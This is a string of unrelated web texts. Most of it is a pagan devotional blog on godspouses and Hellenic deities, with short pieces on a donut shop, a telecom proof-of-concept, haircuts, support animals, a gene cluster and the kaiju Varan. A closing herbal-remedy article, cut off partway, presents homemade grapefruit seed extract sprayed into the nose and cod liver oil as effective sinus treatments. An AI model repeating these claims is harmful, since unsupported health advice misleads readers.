Answer: People who identify as god-slaves, whose relationship with their god is defined solely by the work they do for them, do exist. Sometimes (and I must stress this because I have not personally seen it often) a godspouse (who also usually does some kind of work on behalf of his/her beloved) will also identify as a godslave, but these terms are not synonymous. A godspouse does not necessarily feel enslaved to his/her god, anymore than you feel enslaved to your mortal spouse. It is of course a very serious commitment however. Love and intense devotion and loyalty go a long way that as with any loving relationship, a godspouse is likely to do what pleases his/her beloved just as much as people do every day for those that they love. We do however, recognize that we are not by any means equal to the gods and not gods ourselves, and therefore are placing ourselves in very uneven relationships power-wise, which also means that there are some sacrifices. But typically the gods are not ogres and do not demand anything more than what is suited to our own individual relationships with them and what we need, and what we are capable of. We may be ensnared by Love/Eros but it is a positive thing, there are no chains (unless, again, that is something particular to your relationship..on whatever level lol).
6. Misconception: For women being a godspouse to a male god is anti-feminist.
Answer: Again, not so. As mentioned above there is no enslaving to a god’s will thing going on (typically), and as a matter of love it shouldn’t be judged as anti-feminist anymore than any women who engages in a marital to a man. There is an imbalance of power which may make it more pronounced to some feminists that there is a relationship of extreme inequality going on which act as triggers for them. However in any relationship one establishes with a god, you are going to be the inferior in the relationship, that is just how it goes. That is not say that we lack value, or boo humans kind of thing. We are self determining and quite capable of saying no and refusing anything our gods put before us, but it is easy to be a bit of a pushover for one that you love and do things that you feel that the god wants or will please him out of no other reason but love.But rather it is a recognition that we are not gods and therefore are not going to be on equal playing ground when it comes to power nor should one expect to be treated with some kind of reverence from others. We should not aspire or pretend otherwise…to do so could potentially lead to some serious delusions and hubris (for only the gods can deify, we can’t determine ourselves to be as they are). Also this idea of gender based inferiority is rather absurd, not only because gender based inferiority takes a huge backseat to any concept of inferiority to the gods in general, but also because it makes an assumption that the gods have a set literal sexual form. But the gods are not biological beings, they are greater than that. Therefore whereas their identities are often tangled up in a particular gender, often in relationship to their domain, many gods have been known to appear in a female form in some myth or another. Therefore the whole female inferior to the male argument is rather invalid. And as such it cannot be anti-feminist.
7. Misconception: All godspouses are seers/spirit workers.
Answer: I think this misconception has caused some of the greatest friction when it comes to godspousery, or rather between godspouses, especially of the older and younger generations. There is an assumption that being a godspouse means that you must automatically become a seer, which is really an absurd assumption because those beloved by the gods in myths formed a variety of functions and had a number of various talents, but has also caused frustration. This frustration is due to new godspouses finding that they either lack the ability, or inclination, to fulfill this role. So I will say right here and right now, although a lot of godspouses find it fulfilling to be a seer/spirit worker it is not a prerequisite! Like the beloveds of history and myth, we all have our own directions our work will take us that can touch on any small part of the vast domain of the god one is “married” to. It doesn’t mean that you won’t have a knack for things in several areas, including divination/interpretation of signs/spiritwork/etc, but having that knack and even engaging in it on a personal level doesn’t mean that is what you are supposed to do or what their calling is. What your calling is will likely work itself out over time.
8. Misconception: All Godspouses are celibate.
Answer: While there are many godspouses who make a choice to be celibate, this is something that is determined by their own individual relationship with their beloved god/dess. Sometimes the gods indicate that the desire for their mortal spouse to be unwed and/or celibate. I suspect it has more to do with the needs of the mortal spouse in particular. While it was not requested of me I have gone through several long periods of celibacy and have recently come to the conclusion, that some other godspouses I know have come to, that the commitment to the god too easily conflicts with the emotional needs of a mortal partner. In short it can seem unfair to the other person, and can sometimes cause some hostile feelings towards the godspouse’s spirituality. That said, there are godspouses who have very successful marriages and romantic partnerships. So in the end it is really about what is best for us all individually. I don’t believe that the gods call us to do anything in particular that isn’t already part of our disposition.
Those are the big ones that come to my mind. Please do feel free to address anything I forgot in the comments!
PBP: F is for Fire
There are several Hellenic gods connected intimately with fire, and therefore I thought this would be a nice subject for this Pagan Blog Post.
Apollon and Artemis:
I have already spoken of this a bit in my post on Apollon and Ge, but I will summarize the main points. Apollon and Artemis are by their nature fiery deities. They are torch wielders, illuminator and destroyer of darkness, and bringer of revelations. This is not only in the oracular sense with Apollon but by the nature that light of fire reveals reality for which we have the Orphic hymn praising Apollon as a god who reveals the forms (not to be confused as a creator of forms like Hephaistos) of every kind in the world. In this same sense we have Artemis as goddess of the portal in its correlation to the opening of the womb who by her illumination reveals the world to the newly born infant who first opens his eyes at birth. Likewise Apollon Noumenios serves a similar function at the opening of the month, the Noumenia, in which the first light of the moon reveals the beginning of the new month as the moon appears to be born anew. As torch bearers they are connected with the torches of Demeter, Artemis figuring strongly in this as Despoina in the temple of which she was prominently represented as a torch bearing divinity, and in the case of Apollon as the youth who with torch in hand aided the search of Persephone with Demeter. Thus their light illuminates the mysteries to mortals. They are also the destroying principle of fire, the ravenous mouth of flames which devours indiscriminately, as both Apollon and Artemis slay the male and female forms of every kind of life. With Apollon the association of fire directly to this predominant part of his nature is quite expressive in his myths and in poetic narratives about him. He is a god who wields fiery serpent arrows, and is a god who rots, destroying material substance, by harnessing the pure rays of the sun. To read more about the fiery nature of Apollon I would advice to read the post on Apollon and Ge.
Much of what can be said of Artemis in association with fire can also be addressed to Hekate in terms of light of new birth, which is reasonable because she shares many common characteristics with Artemis. However, the primary form in which we see fire connected to her is as a guide. There are those who would also say revealer saying that she reveals the arcane, but as this doesn’t figure much into my understanding of her, I say that her torches serve dominantly to guide of gods and souls, as we find her with her torches guiding Persephone from Hades, and concept of her at the crossroads with her torches where she keeps company with the spirits of the dead.
As I said in my post on Apollon and Ge, I don’t so much as associate her directly as being a fire goddess, but fire is hers by the manner in which she is the sustainer and tender of the fire, she is the hearth, the oikos, sustaining the flaming heart. She feeds the fire constantly as we find her described as dripping oil from her locks of hair. It is thus reasonable to connect her more to the earth which holds within its arms ever churning flames and Hestia as associated with such containing structures as the hearth and oikos is. This is perhaps what brings about her relationship with both Apollon and Poseidon in the myth in which both gods pursue her hand. In one sense a fiery god Apollon, a god of cosmic and terrestrial magmatic flames, who is attracted and seeks union with the goddess of that which loving contains and vitalizes the flames. Given her relationship to the earth via her structural, nurturing and sustaining nature, there is Poseidon who seeks to wrap his arms ever around the earth which encircles the seas (as he likewise mate with Demeter to breed Artemis/Despoina). The saltine nature of the sea also possessing a fiery purifying quality, for which we can also understand how Apollon is likewise connected to the sea.
As said above the sea possesses by its saltine nature a fiery quality, as well as transformative movement of energy. I have often connected Apollon specifically with this aspect of the seas, via the currents, but it is obviously, as being part of Poseidon’s domain, something which must be ascribed to Poseidon. Add to this that Poseidon himself possesses the raw seismic energy as a god of earthquakes, and like Apollon possibly also associated with thermal springs in addition to his associations with various forms of sweet water (fresh water). The closeness of the relationship between Poseidon and Apollon is hinted at in the Iliad, and it seems natural as possessing different kinds of manifestations of fire within their domains.
Zeus is also a fiery god, as nothing can speak so clearly of than the myth of Semele in which his mortal lover burst in flames when she spied upon his true form. The closeness of relationship between Apollon and Zeus not only as father and son, but also as kings, probably rests on this nature of fire and light. Zeus’s fire and light manifests primarily through lightning born of aether….aether being the initial source of light according to texts. From Zeus manifested the first light and the first fire, and from him consequently in myth, Apollon in many versions, is his son. That Apollon is one of few gods who has handled the lightning of his fire is quite telling of this relationship (the other being Athena). In fact the philosophical idea of Poseidon, Zeus and Hades being the three Zeus can relate to this concept of fire as a primary and central element of the cosmos…it is thus found in aether, found in the liquid material of the seas, and within the earth which would tap into the chthonic nature of Hades who himself possesses the riches of the earth which are born from arrangement of elements in the cooling of fiery liquid rock. That Zeus’ foremost enemy Typhon was buried beneath the weight of a volcano can potentially align both Zeus or Typhon with the violent destructive outbursts of the volcano, and yet the creative side of volcanic activity would not be something we would ever associate with Typhon but more likely with Zeus. In a sense when it comes to fire the natures of Apollon and Zeus are closely entwined, something which becomes apparent in the association of Zeus and Apollon with Helios in the Orphic hymns and likewise in their more chthonic guises.
Hephaistos and Athena:
I am addressing Hephaistos and Athena here together for a reason, and that is that they have a particularly unified front when it comes to a particular form of usage of fire: that used by potters. Both Hephaistos and Athena were honored by these artisans. Hephaistos is naturally understandable. The fire has often been called his for the clear reason that among all the gods he most effectively wields fire to a purpose, and has all manner of methods for controlling the output of fire. This is seen in the Iliad when he used his billows to cause such a fire rage at Xanthus that the god suffered painfully as his waters began to dry up beneath the onslaught. Aeschylus in Prometheus Bound likewise calls fire the bright flower of Hephaistos, which seems to refer to the positive application of fire within the hands of the god. As I mentioned in my post in regards to Apollon and Ge, Hephaistos takes fire, even raw fire in the form of magmatic fire, and from the fire fashions every form in nature. Whereas Hestia can be related as much to the kiln as she can be to the hearth, Hephaistos utilizes all the tools at his disposal in order to bring about good things….for which he is appropriately married to Kharis (Grace). Hephaistos is also ascribed a warlike character as he is called the warlike Zeus in Arkadia in association with cult of Hera there, though this is likely due to his fashioning too of armor as he is the favored armorer of the gods, particularly Athena. Athena meanwhile is connected to the nous of Zeus. The nous in itself is connected to the sphere of aether and so she is intimately as well. So it would be of little wonder if she shared a commonality with fires of aether that her father enjoys, particularly as she was born from him alone…and from his mind (the nous) at that. As mentioned above she, like Apollon, is one of few gods who is known to have wielded the lightning bolts of her father. It is perhaps the intellectual fire of the mind associated with Athena that has made her as an alternate pairing with Hephaistos who effectively uses fire constructively. Thus the sharp precision of the mind and the careful tutelage of use of the kiln would have also made them an effective pair of gods to worship together.
Helios is considered in Hellenic religion the purest source of fire. As I have mentioned above, the Orphic hymns associate him to a degree with both Apollon and Zeus that brings a strong sense of importance and royalty in our understanding of Helios. So too does the notion that all sacred fires were lit by using glass beneath the sun, for only the purest flames could be gathered from him for this purpose. the cultic association with Helios and the sea in places such as Rhodes further illuminates the connection between flames and the sea, especially gives that Helios was believed to sink beneath the western waves. Meanwhile Selene gathered to her the emanations of Helios with which her light grew and ceased. That Selene’s light was reflective and utterly dependent on Helios is something mentioned many times in ancient literature. In a sense Helios is the most visible fire god we have and therefore of profound importance to us.
I am sure that there are many others that could be mentioned but these are those that come foremost to mind….and my daughter is nagging me for the computer.
PBP: E is for Eleusis and Elaphebolia
First I want to say that I loved Eleusis when I got the opportunity to visit and have my naming ceremony there. The first thing you see when you enter the entrance is the temple of Artemis, as daughter of Poseidon and Demeter. I have spoken of this interpretation before in my blog as one that is actually rather common and Pausanias especially speaks of it in the Peloponnese where Artemis is given a higher status as Despoina, the mistress. In Eleusis we don’t know much of her though aside from the fact that she has a temple there at the entrance of the sacred precinct. There are some who like to try to assign the temple to Hekate because Hekate shows up in mythic context to the rape of Persephone and in imagery of Persephone’s return out of Hades, yet Artemis has a very important cultic link to the mysteries of Persephone too. It is she who is said to have been with Persephone when she was kidnapped. The Orphic Argonautika suggests that this was in purposeful design in arrangement with the plans of Zeus, though other myths have it that Artemis ran after the chariot of Hades as he swept Persephone away from Artemis and Athena, her playmates.
Not far from the temple of Artemis, between the temple and the temple of Demeter is an upright giant relief of two crossed torches, likely the symbol of the two torch bearers in the mysteries. Some say that these are Dionysos and Hekate, but given the nature of the context of what we know of the roles that Artemis and Apollon play in the mysteries OLYMPUS DIGITAL CAMERAof Demeter and Dionysos elsewhere, it is more likely that it is the Bacchic gods Apollon and Artemis. It has been suggested in one book, the Road to Eleusis, that the leader of the procession are representative of the sun and the moon. Though Apollon and Artemis are not the sun and the moon, their domains are associated with the functions of the sun and the moon as it were, as both bodies of light have agricultural importance and are keepers of the passage of time (In one post I spoke of Apollon and Helios as per the Orphic hymns which you can find here.) As fiery deities of light, it makes perfect sense that these divine twins and chorus leaders, be the perfect leaders of the procession. I wrote more of it here specifically in regards to Apollon. On the part of Artemis her presence here is a bit more clear as if we look at other parallel mystic cults of Demeter throughout Hellas we often find it concert with Artemis as Despoina (which is likely linked to Artemis in earlier manifestation as Potnia Theron, Potnia referring to Mistress) and also as bearer of light and leader. In fact at one particular temple of Demeter and Despoina Artemis is represented as all three in the same temple as one most first pass through the temple of Artemis Hegemone (the leader) in order to enter the temple of Despoina where the goddess is also represented not only as Despoina seated by Demeter, but also as a figure holding a torch in one hand and in the other dragons.
This is not to dismiss the importance of Hekate but rather that Hekate, Dionysos, Apollon and Artemis serve very specific functions at Eleusis as I have indicated before in the above linked post in regards to Dionysos and Apollon. There is of course philosophical traditions which state that Dionysos and Apollon are the same god, which we find immediately from Plutarch, a philosopher and priest of Delphi, and likewise Artemis and Hekate were at one point viewed as the same deity. I don’t particularly agree with this so much in point, but I do think that they have very closely occurring roles. Therefore you have Artemis involved directly in the leaving of Persephone and chasing after the chariot, which may be the true origin for the running maiden figure from Eleusis. Then you have the light bearing youth (a form of Apollon) who aids Demeter in search of her daughter, even as Apollon is called the god who brings the golden harvest in other places and is likewise intimately connected with harvest of beast and vineyards as a god of light. Meanwhile you have Hekate who aids Demeter by bringing news of hearing the cries of Persephone from her cave, and Hekate who is the leader of the goddess specifically in her return. There are those who use the Homeric Hymn for Demeter as evidence that this is Hekate (line 52) but here we see Hekate with her torches as an announcer of what she had witnessed, paying attendant on Demeter which does not say that she was associated with the initiates. This is not the first instance in which we see Hekate as a companion or leader of a goddess as she has been called the handmaiden of Aphrodite and in one vase painting seems to be leading the return of Artemis as she stands before a chariot of deer. There is thus a very interesting relationship here between the liminal Artemis and the Khthonic role of Hekate playing out, just as there are a very clear relationship between Apollon and Dionysos at harvest. Demeter brings the grain, Dionysos brings the liquid wealth in his wine as both he and Persephone (representing the ear of wheat) cycle through seasonal life and death for these gifts….son and daughter of Demeter, with Apollon and Artemis (also considered children of Demeter as we see particularly represented by Diodoros Siculus in his description of the mysteries via a layer of Egyptian creative interpretation) as liminal keepers of time, transitioning and moving forward life’s development/growth and sacrifice/harvest.
Therefore when I think of this image of Eleusis that is what I think of. Whereas at the other side of her temple is the sacrificial pit where the pigs were thrown into the fires for the sake of the initiates. Beyond the temple of Artemis is the great temple of Demeter, beside which sits her well. As a tourist you walk through the temple to get to the other side where the road progresses from her temple, past the Ploutonian Cave (where there is also a small temenos with an altar) to the road leading to the gates of the Telesterion into which the initiates entered, and that is where I had my naming ceremony. Within the Telesterion you can imagine how glorious it was anciently, and as you walk to the far end you can see sacred markers. The bundle of wheat ear, the bull, the double torches, the drum and so on. I had taken pictures of these painstakenly and pray that I can get my portable harddrive fixed where they are stored because I found them to be truly touching and quite profound.
The Lesser Mysteries are coming shortly as they were said to have occurred toward the end of Anthesterion at which time those who desired to be initiates were purified and became mystai. These mysteries are said to have been instituted on behalf of Herakles at the time in which he wishes to participate but the Greater Mysteries were closed to him as a foreigner (apparently this changed over time as the Eleusinian Mysteries became known as being accepting of just about anyone who spoke Greek and could afford the price of a pig). The Lesser Mysteries therefore largely served to induct new initiates even as we have the return of Persephone. It may have been believed that Persephone herself was receiving the new initiates even as she was received, as we find Persephone is given credit for decisions for the fate of souls after death. Persephone and Dionysos by their nature are credited as the only gods that can save souls from the fate of death suffered by mortals for instance. And in the Orphic hymn to Hermes Khthonios we see that his position of leading the dead to Hades is also bestowed by Persephone. Even at Ephesus the return of Admetus’ wife Aclestis shows the queen returning with a token of Persephone, likely indicating that Persephone granted this just as she was the main player in the myth of Orpheus and Eurydice that caused Eurydice to be allowed to ascend with her husband to the world of the living (though a shame that he failed to wait to look upon her and so lost her again. So I would take it that the Lesser Mysteries were celebrated in part as the acceptance of Persephone for those who are initiated to her care.
Just following the end of Anthesterion and the Lesser Mysteries the month turns to Elapheblion and the festival of Elaphebolia celebrating Artemis as the slayer of deer. This seems to me to be placed very particularly in which we see a contrast in two vital functions of Artemis. We see her as the torch-bearer in the Lesser Mysteries closing out the month of Anthesterion, and then we find her as the huntress. I have discussed before on this blog the close association between the functions of Artemis as nurturer and huntress. She is called in Crete first and foremost the nurse and companion of the midwife goddess Eliethyia. It follows that the goddess which nurturers the young of all life, is also the goddess that pursues them through development and slays them at the end of their life. This which we find in co-supporting role with Apollon in which Apollon and Artemis are often placed together nurturing, rearing and destroying the males and females of all living species. Therefore Elaphebolia directly following the Lesser Mysteries plays and important reminder, and perhaps plays an even more subtle reminder of the role of Artemis in the mysteries in the abduction of Persephone, to all of us as Artemis throughout the yearly festivities transitions back and forth between her two primary functions, just as we see following Elaphebolia the celebration of Mounykhia and Brauronia that honors Artemis as the goddess who cares for young girls and her instrumental relationship in their transition out of childhood which we particularly see in her early autumn festival Kourotrophia during which youths and maidens dedicated to her the tokens of their childhood by giving their toys to her altar.
The assertion made here that Herakles in acting as the torch-bearer in the Lesser Mysteries was acting in the place of Hekate makes more logical sense if we consider that the pair of twins were torch bearers in which case Herakles was most probably taking the role of Apollon as he did in his youth in another festival Daphnephoria where he played the part of the bearer of the laurel as the god coming to the temple. Herakles has many intersecting points with Apollon in his myths, and so it seems plausible that if the Lesser Mysteries were established in their legendary history by Herakles that he would have been taking the part of the male torch bearing god, Apollon.
PBP: D is for Daphnaeus and Daphnephoros
Daphnaeus and Daphnephoros both are appropriate epithets of Apollon. Daphnaeus refers to Apollon as the god who is of the laurel. This connects the laurel intimately with his identity as much as the bow and the kithara or lyre. In a mythic context we can imagine Apollon bringing the laurel into his identity as he wreathes his head with laurel leaves as his sacred plant. Artemis is also called Daphnaea which draws a similar association between laurel and the plant, but with like with so many cases where she shares an epithet with her twin it is unclear if one is borrowing the epithet from the other, and if so which god had it first? It has been speculated, by Pausanias I believe, but I might be misremembering which ancient author I got it from, that Artemis was called this because her image was made from wood of the laurel. It is quite plausible if that is a potential reason for her possessing that name that Apollon too may have had cult images made of laurel wood at some time. We do know that according to Delphic myth that the first temple of Apollon at Delphi was believed to have been made from laurel boughs. In such a case we can understand the laurel as something which Apollon is honored through and within. The presence of the laurel would thus be a vessel that represented the divine presence of the god. This seems reasonable as the Pythia was often pictured holding a bough of laurel either as a representation of the god, or perhaps her own identification with Daphne, the first priestess of Delphi and the first whom Apollon had loved.
Daphne herself is an interesting figure, especially if we look at the myths of Daphne with the Peloponnesian versions in mind. The Peloponnesians expanded upon the myth of Daphne to give her characteristics quite like that of Artemis, running with her own band of nymphs. Now this idea of a love of Apollon carrying characteristics of his twin is nothing new as we also see his wife Kyrene to be something of a reflection of Artemis as well. Before she had ever taken the form of the tree she was loved by a youth who disguised himself as a maiden because he loved her. Apollon, jealous, caused it to be revealed that the youth was male in which case he was expelled from their company. This then can be followed by the Delphic myth in which Apollon himself chases after the maiden who, seeing that she cannot outrun Apollon (and really who can? This is the god who can outrun Hermes) calls for help. In some versions her father, the river god Peneios (her father in Peloponnese is another important river..the Ladon) transforms her into a laurel tree just as Apollon embraces her. In another version she is swallowed by the earth and the laurel grows out from her tomb. It is likely this version which is referred to at the Daphne temple of Apollon where the god was depicted giving libation to the earth.
Speaking of the temple, the Daphne temple was located just outside of Athens and was an important stop for initiates on their way to Eleusis just before they went down to the sea just beyond the temple to purify themselves. The association with the temple specifically with purification is likely pertaining to the nature of the laurel in relationship to Apollon. He is the purifier and as Daphnaeus he is a god who purifies as the plant does. This is something we see in particular in vase paintings of the purification of Orestes in which the god stands behind the seated Orestes and a pig is slain above him for his blood guilt and nearby a laurel. In myth the laurel grew after the event to mark the spot where the god purified Orestes. Furthermore, in the reenactments of his purification following the Stepteria festival shows the god traveling down to the Temple valley where the Peneios river flows and there a sacred laurel tree provided branches to be cut for purification and carried back to Delphi. This tree may have been cultically regarded as the very tree that the nymph transformed into by the Delphinians.
The youth thus carries back the laurel, himself representative of the returning god just as he was representative of the slaying and fleeing god during the Stepteria, and is called as the Daphnephoros. He is the laurel bearer. Apollon himself acts as divine laurel bearer and those who carry the laurel in his honor are also called Daphnephoros. In Thebes there was a festival which I strongly suspect due to its nature and falling around the same time, was a parallel to this return of Apollon. The Daphnephoria was a festival in which Apollon, by oracle, indicated the means to stop a terrible ongoing battle. After which the matter being resolved a festival was initiated in which at the fore of the procession was a youth carrying laurel to the temple in the very manner in which we see at Delphi. Apollon comes to his temple bearing the items of purification with him. It was naturally considered to be of high honor to be the Daphnephoros (and as such came with strict requirements as did the position at Delphi) for the youth selected. Parents of the youth at the Thebes dedicated tripods to Apollon, including, according to Pausanias, the father of Herakles when he himself took the position in his youth, as Pausanias notes a tripod dedicated by his mortal father Amphitryon.
Apollon is thus the god of the laurel, but also the god who bears the laurel in wielding its purify influence, in which case Daphnaeus is descriptive of the god himself, and Daphnephoros is descriptive of an action of the god (much like the epithet Pythios as he himself isn’t rotting but causes the action of rotting), one which is symbolically carried out in festivals by the performance of youths acting his part in capacity of bringing forth the laurel in sacred events.
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Silver Crest Donut Shop
SF Eater concludes:
It probably sounds like hell on earth to most people, a haunt for petty larcenists and amnesiacs, but the Silver Crest represents a noirish demimonde that’s almost entirely disappeared from San Francisco. The donuts are mediocre, but I recommend them to people anyway, because one day, they too will be gone.
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PoC 5 Enterprise Services
From MECwiki
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PoC Team
Adva Optical Networking
Bezeq International
Main Contact
Michael Rabinovich, Adva Optical [email protected]
PoC Demo
PoC Demo 1 - MEC PoC ZONE @ MEC World Congress, Munich (GE), Sept 2016
PoC Demo 2 - PoC Live Demo at chosen Enterprise (TBD), Q1 2017
Use of MEC for Enterprise by implementation of a local breakout for the enterprise users
PoC Proposal
PoC Topics
This PoC is WORKING on:
PT01 - Demonstration of MEC Service Scenarios
PoC Contribution to PT01 (Technical Report) is expected by Q2 2017
PoC Report
PoC Report is expected by Q2 2017
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Mohawk Haircut: Get Creative With The New Men’s Hair Trend
The Mohawk haircut is often perceived as a very outlandish and rebellious hairstyle. However, there are many ways that men can rock a Mohawk haircut… It is impossible to narrow the hairstyle to such a limited spectrum. Also, they can be worn formally and casually.
Historically, the Mohawk hairstyle can also be known as a Mohican or Iro hairstyle. In reference to the aforementioned Indian tribes.
A hairstyle that turns heads wherever you go. A mohawk is the ultimate creative look for men who think wild and different. There is something about a mohawk haircut that catches the eye anytime, anywhere. So many kinds of moods can be created with mohawk hairstyles.
mens mohawk haircut
For example, footballer Neymar is known for his Mohawk haircut. A hairstyle that makes him look like a running cock on the field. To be able to put your hair into the Neymar’s Crest, you need an overall length of 4 inches on the top of your head. As well as the back of your head.
To get your hair like the Neymar, you will need the following:
• Hair straightener, even if you have straight hair.
• Blow dryer.
• Hair mousse.
• A hair clipper and possibly a pair of professional scissors.
Once you get the initial haircut, you can then give yourself with a hair clipper every couple of days. A good buzz on the area that was initially buzzed.
When rappers like Young LA got his mohawk haircut, that’s when black men really started to take note that it was really stylish. But nowadays, Mohawks are generally a lot more on the faux hawk side, just due to the fact they nonetheless function hair on the sides. So, Mohawk hairstyles for men are loved by sporty guys, rock stars and accurate macho males. If you are one of them, it is time to pick your individual style.
Need some inspiration? Check out examples of men’s mohawk haircut below:
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(Picture: Getty)
An elderly passenger was kicked off a Frontier Airlines flight in the U.S after she tried boarding with a squirrel, which she claimed was a support animal.
The flyer told the U.S.-based airline before she arrived at the airport that she would be bringing the animal but when they realised it was a squirrel they refused to let her on the plane.
They said rodents, such as squirrels, are not allowed on board as emotional support animals.
But what exactly is a support animal?
The purpose of a support animal is to help with people with their mental health, in the way that guide dogs help people with their physical health and wellbeing.
They aren’t usually trained for any specific tasks but they provide support just by being there, especially if the owner experiences anxiety and depression.
But travelling with support animals has some risks. Not all of them are allowed on planes for example.
In the past, pigs and miniature horses have flown for this purpose. But sadly a peacock and one unfortunate hamster were refused (who was then sadly flushed away).
According to the Emotional Support Animal Registry UK, you must have a prescriptive letter from a qualified doctor stating your need to have an animal with you when you travel, shop and also for accommodation.
Some of the conditions that would lead to a diagnosis of a need for support animals include anxiety (specific or generalised), depression or other mood disorders, phobias (including social phobia and fear of flying), panic disorder, and PTSD.
Not all airlines will permit you to have your animal companion though, even with a notice.
On the easyJet website, it only lists service dogs as permitted. Emotional support animals are not considered service animals and not accepted on Ryanair flights.
Thomas Cook states: ‘Emotional support dogs cannot be carried in the cabin. They can, of course, be carried in the cargo hold,’ and does not mention other animals.
If you’re thinking of flying with an emotional support animal, you can register here.
MORE: Very good dog reads with pupils and has his own school uniform and backpack
MORE: Dog meets friend who looks just like her, convinces owner to bring him home
MORE: My Label and Me: OCD
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Genomic loci for this biosynthetic pathway
Cluster Type From To
The following clusters are from record BGC0001453.1:
Cluster 1Other17234
BGC0001453, desferrioxamine biosynthetic gene cluster from Streptomyces argillaceus. Locus 1. Partial MIBiG entry.
Chemical compounds
Compound: desferrioxamine
Class-specific details
Biosynthetic class(es):
Gene cluster description
desferrioxamine (BGC0001453). Gene Cluster 1. Biosynthetic class = Other. GenBank LT989883. Click on genes for more information.
biosynthetic genes
transport-related genes
regulatory genes
other genes
Homologous known gene clusters
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Varan in Destroy All Monsters
Varan (バラン, Baran) is a giant gliding monitor lizard kaiju that first appeared in the 1958 Toho film Varan and was later incorporated into the Godzilla series in Destroy All Monsters in 1968.
Varan somewhat looks like a cross between a turtle and a lizard, though his specific species is a monitor lizard. He has a single row of small spikes running down his back and large gliding membranes under his arms, similar to a flying squirrel. In Varan, he is 50 meters tall, 60 meters long, and weighs 15,000 tons. In Destroy All Monsters, Varan is 10 meters tall, 18 meters long, and weighs 60 tons.
Varan's origins are mostly shrouded in mystery, but he was worshiped as a mountain god for centuries by a tribe of villagers in Siberia.
Showa Era
A group of Japanese scientists traveled to Siberia after reports of strange events in the area. Local villagers warned that the recent deaths of researchers near the village was because of Varan, their mountain god. While the scientists surveyed the area, they were shocked to see Varan himself rise from the Kitami River. Varan proceeded to destroy the village and returned to the river. The Japanese Self-Defense Forces received word of the monster and were deployed to the Kitami River. Tanks opened fire on Varan, but the beast destroyed the military forces and opened membranes underneath his arms and glided into the ocean. Over the next few days, Varan destroyed ships off the coast of Japan and drew closer to Tokyo. The Defense Forces deployed fighter jets and battle ships against Varan, but did not slow his advance. The Defense Forces prepared a special type of highly explosive gunpowder and lured Varan to Haneda airport using flares, which Varan ate out of the sky. A large amount of the gunpowder was detonated very close to Varan and managed to knock him onto his back. Varan got back up unharmed, but the Defense Forces had developed a new idea. They filled bombs with the gunpowder and launched them into the air. Varan proceeded to eat two of them, only to have one detonate inside his stomach. Varan retreated back to the water, but the second bomb detonated just before he could submerge. Varan sank under the waves and disappeared and was presumed dead.
Destroy All Monsters
In 1999, Varan was one of the monsters being held in the human-built Monsterland facility, along with Godzilla, Anguirus, Rodan, Mothra, Manda, Baragon, Gorosaurus, Minilla, and Kumonga. Once the monsters escaped the island thanks to Kilaakian intervention, Varan was nowhere to be seen. Varan later appeared along with his fellow monsters at Mount Fuji as they prepared to assault the Kilaakian base. The monsters were attacked by King Ghidorah, but Varan only observed the battle. After his allies defeated Ghidorah and destroyed the aliens' base, Varan returned to Monsterland to live in peace.
• Gliding - Varan's gliding membranes located under his arms enable him to glide over vast distances at a speed of mach 1.5.
• Armored Skin - Varan's skin is highly resistant to conventional weaponry, even an explosion from special gunpowder at point-blank range.
• Sonic Beam - In Godzilla Unleashed, Varan can spit a sonic beam from his mouth.
Varan's only demonstrated weakness is the fact that his insides are not as resistant to damage as his exterior, demonstrated when Varan was fatally wounded after consuming two live bombs.
• Varan was originally to play a larger role in Destroy All Monsters, but unfortunately by 1968 the Varan suit was heavily damaged from age and being constantly remodeled and used for the Ultraman series. Because Toho had already spent a huge budget for all of the many other monsters in the film, they used a small stiff prop for Varan rather than construct a new suit.
• Varan was slated to appear in an early draft of Godzilla vs. Gigan entitled The Return of King Ghidorah as well as the original draft of GMK. In the first film, he was scrapped in favor of Anguirus, and in the later for King Ghidorah. Varan's only other appearances in official media after Destroy All Monsters are in the video games Godzilla for the Nintendo Entertainment System and Godzilla Unleashed for the Wii, as well as the comic book series Godzilla: Rulers of Earth.
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Natural Herbal Sinus Decongestants: Medicinal Herbs For Sinus Congestion & Inflammation
natural sinus decongestant
Natural Herbal Sinus Decongestants: Medicinal Herbs For Treating Sinus Congestion And Inflammation
Every year, an estimated 35 million U.S. citizens visit the hospital for sinusitis. Even more, the money spent on treating acute and chronic sinusitis each year in the United States is estimated to be over $11 billion.
More than a stuffy nose, a sinus infection can actually be uncomfortable and painful. While most cases of sinusitis can be treated by using a decongestant, few cases may often require surgery to drain mucus from the sinuses.
In this article, we shall be taking a look at natural remedies for sinus congestion and inflammation. But first, let’s get to understand sinus infections a little.
What is sinus congestion?
Sinus congestion, or sinusitis, is an infectious condition that is marked by the inflammation of the sinuses and an excess production of mucus, which leads to a blockage or congestion.
The sinus is an air-filled hollow cavity in the skull bones around the nose. An infection of the sinuses can lead to their inflammation and they become filled with mucus and germs, instead of air.
Causes of sinus congestion
Sinus congestion can be as a result of different factors. The causes vary from allergies to flu, or an infection. As a result, sinusitis can be grouped into viral and bacterial types, based on the type of disease-causing organism.
Sinus infections caused by a virus are mostly acute and last for short periods of time that can span no more than a maximum of 10 days. If the symptoms of the sinus infection go beyond 10 days, then it is most likely that it is caused by bacteria.
Symptoms of sinus congestion
The following are some of the common signs and symptoms of sinus congestion:
• Runny nose
• Nasal congestion
• Sinus pressure
• Nasal discharge
• Headache
• Fever
• Sore throat
• Pain in the face
If the sinus infection continues for more than 12 weeks, then it is case of chronic sinusitis, which may come with added symptoms like:
• Bad breath
• Pain in the tooth
• Fatigue
• Abscess in the sinuses
Natural herbal remedies for sinus congestion and inflammation
The following are some of the natural remedies for sinus congestion and inflammation:
• Be well hydrated
Hydration is one of the simplest, but yet effective natural ways of treating various health problems, including sinus congestion and inflammation. Drinking lots of water and other helpful fluids will help to thin out mucus in the sinuses, so as to clear the sinuses. You should make sure to avoid alcohol and caffeine, as these beverages tend to dehydrate the body rather than to hydrate.
• Nasal irrigation
Nasal irrigation, also known as saline irrigation or nasal flushing, is a way of clearing the nasal cavity of excess mucus. Sinus congestion and irritation can be relieved by flushing/irrigating the nose with a solution. You can make a saline solution for clearing the sinuses by adding half a teaspoon of salt to half a cup of tepid water, and then dripping the solution into each nostril.
• Fermented cod liver oil
This oil is rich in essential minerals and vitamins like vitamins A and D. One good thing about this oil is the fact that the nutrients are preserved during the fermentation process. Adding fermented cod liver oil to your meals or using it for cooking will help to boost your body’s immunity against diseases.
• Grapefruit seed extract
You can make grapefruit seed extract by crushing some dried grapefruit seeds into a smooth powder. Use a nasal spray to apply the grapefruit seed extract. This herbal remedy is effective as it helps to drain the sinuses of mucus.
• Cayenne pepper
